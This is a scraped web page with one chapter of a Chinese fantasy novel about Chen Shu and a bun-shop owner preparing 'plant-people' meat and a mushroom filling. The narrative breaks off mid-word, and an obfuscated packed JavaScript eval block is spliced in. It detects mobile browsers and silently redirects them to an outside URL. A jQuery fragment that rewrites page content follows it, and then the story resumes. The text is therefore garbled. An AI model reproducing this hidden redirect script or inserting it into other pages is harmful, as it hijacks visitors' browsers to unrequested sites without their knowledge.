默认冷灰
24号文字
方正启体

22. 香菇配酱肉

作者:极乐猫本书字数:K更新时间:
    “另外,不同部位的植物和肉味道也不同。”


    “比如我手里的是藤蔓,里面的肉感更滑,因为内壁会分泌粘性物质。”


    店长将绿色藤蔓里的肉刮完后,放到一边,另外拿起一块像竹筒一般的植物,正立在菜板上。


    她手握菜刀,在竹筒上成横竖分别用力砍了两刀,竹筒被劈开,里面的内容物却成丝状。


    店长用一根筷子缠绕竹筒里的丝线成球状,然后递给陈舒。


    “要不要尝尝,和麦芽糖的味道有点像,是甜的。”


    陈舒接过店长递过来的筷子,看着上面那团白色丝线盘绕的事物好像蛛丝结成的茧,她先是凑近闻了闻,有股淡淡的清甜,然后舔了一口。


    嗯!


    真的是甜的!


    像吃拉丝的麦芽糖,但没有麦芽糖那么甜。


    陈舒有些欣喜,如果麦芽糖是九分甜度,那这丝线大概有六分。


    店长将竹筒里的丝线用筷子全部勾出后,直接把竹筒外壳丢进了垃圾桶里。


    “那块筒子就只有这点能吃吗?”


    陈舒感觉那竹筒应该挺重的,里面却只拉出这一点清甜的丝线,换包子会不会太亏了。


    店长点点头,“是的。”


    “只有这点也够了。”


    “其实每个载体种下的都是同一个种子。”


    “而它们会受载体性格、情绪等影响,生长出各种各样的植生人。”


    “刚才那块竹筒样式的植物,虽然外壳坚硬无法下口,但内里却如糖丝般柔软细腻,说明培养出这种植生人的人,他是一个外刚内柔的好人。”


    是哦。


    陈舒想到先前见过的人,外卖小哥因外在的压力,他的植生人是颗红色沉重的花苞,压得他甚至无法抬头正视他人。


    豪车车主身上的植生人虽强,但他是靠压迫剥削,啃噬他人骨肉才成就出那种模样。


    而钱店长身上的植生人则是粗壮有力的绿色藤蔓,她拼命吸收了两个幼体,变成力量更强的异种,对应她迫切需要力量,保护包子铺,也要保护侄女和侄儿。


    还有左眼里长着向日葵的女食客,脸上盘绕牵牛花的小姑娘等等。


    确实,每个人身上培养出的植生人都是他们性格、情绪、内心等方方面面的映射。


    不过话又说回来。


    陈舒突然想到自己头上生长的那颗发光蘑菇!


    「植物伪装」这异能也是承载了植生人那套生长体系吧!


    所以,为什么她头顶会长出这么一个奇怪蘑菇?


    “姑姑,外面还有一个漏掉的。”


    陈舒摸着头顶上的发光蘑菇正疑惑着,这时,后厨的门被推开,小姑娘手里拿着另外一颗蘑菇走了进来说:


    “姑姑你看,这个蘑菇就掉在店铺门口,哥哥揽客时发现的。”


    “你看要不要用来当食材。”


    陈舒一眼就注意到对方手里那蘑菇就是先前她引诱异种时摘下来的,结果被异种戳了个对穿,现在不发光了。


    小姑娘说完后才注意到陈舒头顶也长着一颗一模一样的蘑菇,她突然意识到刚才说的话不对,这颗蘑菇本属于陈舒的,怎么先问正主,就自作主张说要拿来当食材。


    小姑娘立即将蘑菇给陈舒送了过去,连连道歉说:


    “对不起,对不起。”


    “这位客人是我眼睛不好,没注意到蘑菇是你的。”


    “啊!”


    “没事儿没事儿。”


    陈舒摆摆手,有些尴尬地接过蘑菇。


    她实在不想承认,这玩意儿是她头顶上长出来的。


    “那小陈,这蘑菇你还要吗?”店长问道。


    “不要的话,一会儿倒是可以用它来换包子,我看蘑菇个头大,成色也不错,味道……”


    “不清楚,可以给我看看。”


    这东西能换包子?


    同样听到“包子”两个字,被晾在一旁的《怪物食谱》突然提起了精神,擅自做主说:


    “换,拿给她换。”


    当然,陈舒也没有异议,这东西她本来就用不着,但想到它是因「植物伪装」从她头上长出来的,一会儿会被当作食材,做成包子……


    总觉得怪怪的。


    “没问题。”


    说着,陈舒把大蘑菇递给店长。


    店长先让侄女回去看店,接过大蘑菇后,拿在手里掂量了两下说:


    “大概有8斤,还全是植物,可以换40个肉包或者20个菜包。”


    “好耶!”


    《怪物食谱》听到一会儿能吃到这么多包子,兴奋地快速自动翻页,想加速书页晾干。


    只有陈舒听到店长说的话后表示十分惊讶。


    什么?


    所以她直到现在都顶着个8斤重的大蘑菇?!


    难怪从一进入这片交界地开始,陈舒就感觉自己脑袋很沉重,最开始以为是地域带来的影响,结果是因为物理因素!


    “闻了闻,味道应该也不错,有种香菇的感觉。”


    “可以用来做香菇肉包,既有植物又有肉,正好推出新品,再加个价!”


    店长思路明确地讲诉后面的打算,她拍了拍蘑菇伞,发出“duangduang”的响声,笑着对陈舒说:


    “放心,这蘑菇是你提供的,新出的香菇肉包给你按肉包的价格算!”


    陈舒:“嗯……”


    “谢谢店长。”


    感觉长出个香菇也挺好的……至少味道应该不错……


    陈舒继续按照店长说的方式将食材的肉和植物分离。


    大部分食材内含肉量还是比较高的,另外能吃的植物相比之下就偏少,难怪菜包要比肉包都卖得贵。


    “好了!”


    “大功告成!”


    在陈舒和店长的努力下,成功将刚才洗完的所有食材都处理完。


    现在,她们总共获得了大半盆“瘦肉”和另外小半盆的“肥肉”,可食用植物一类的放在一边,准备和肉类搭配成荤素结合的包子馅儿。


    可能因为陈舒那颗蘑菇太多,店长将其切成小块后都另外装了大半盆,她打算先制作香菇酱肉包子!


    “做包子,馅料是关键。”


    “你平时在家做包子吃吗?”


    店长一边起锅烧油,一边和陈舒闲聊。


    “偶尔会包一些口味比较独特的包子。”


    “比如?”


    提到这儿,陈


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864765|190966||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    舒倒是想起她以前在家对于“新式包子”的创新和研究。


    “比如……额……”


    “芝士火鸡面包子,奥利奥奶油包子,酸黄瓜包子,还有加了很多酸笋的螺蛳粉包子……”


    至今回忆起她做螺蛳粉包子时的情景。


    本来煮螺蛳粉的味道就很大,她做的还是汤包,包馅料时加倍放了酸笋和豆角,结果包子出炉后,那股味道弥漫在厨房里好长时间没散去,以至于有邻居吐槽说哪家下水管道堵了……


    不过螺蛳粉汤包味道还是挺不错的。


    这些创新包子视频发到网上,收到的点赞也挺多,至少喜欢猎奇的年轻人对此表示很感兴趣,愿意尝试。


    “啊——”


    做了十多年传统包子的钱店长听完陈舒说的后,她正在倒油的手很明显停顿在半空中,感觉有些被创新包子给创到。


    “原来包子馅儿还能这么做!”


    钱店长现在的眼神就像在说这句话,这就是老一辈和年轻一辈的代沟吗?


    “钱店长,油!油倒多了!”陈舒急忙提醒。


    “哦哦,没注意。”


    店长回过神来,赶紧将油桶提了起来。


    还好,准备的肉很多,多出的油用锅铲铲起来留着后面用。


    店长先开中火,将准备好的肥肉放进锅里炒香出油。


    虽说是植物生长出的肉,和动物,比如蜥尾肉相比,没有那么醇香,但却带着另外一股没闻过的清香,一点也不油腻。


    香味散出后,店长紧接着将瘦肉和切好的蘑菇碎也一同放入锅里翻炒。


    香菇和肉搭配起来,不管放在正常餐食里还是怪物美食中,依旧十分搭配!


    “好香啊!”


    陈舒忍不住在一旁发出感叹。


    “更香的还在后面呢!”


    “我的包子铺能开十多年,可多亏了祖传的秘制酱料!”


    店长说着,将灶台内侧放着的一个陶瓷罐取了过来,用勺子挖出三大勺酱料全部加入锅里,同时,铲子也在不停翻炒肉馅,让酱料充分融入肉内。


    秘制酱料下锅后不久,陈舒就闻到那股熟悉的酱肉包味儿,老顾客一闻到这股酱料的香味,就知道是钱多多包子铺家的包子。


    “我快等不及了!”


    “怎么还没有干啊!”


    “吹风机,吹风机有吗?”


    《怪物食谱》疯狂翻动书页,它已经迫不及待想品尝包子。


    肉炒的差不多后,店长下入白葱作为最后提味增香,均匀翻炒后关火出锅。


    包子皮是店长提前准备好了的,将热腾腾的馅料盛出,放到盘子里等待冷却。


    传统包子的制作看上去还是挺简单的,陈舒以前也在家自己做过,却始终无法达到钱老板炒出肉馅的效果。


    陈舒趁热乎,用筷子夹了点肉沫尝了一口。


    应该是因为那份秘制酱料的原因……


    “味道怎么样?”


    钱店长对自己的手艺很自信。


    “很好吃,和原来的味道一样,植生人的肉比猪肉味道还要更香。”


    店长满意笑了笑。


    “如果你愿意,我可以把秘制酱料配方无偿分享给你。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)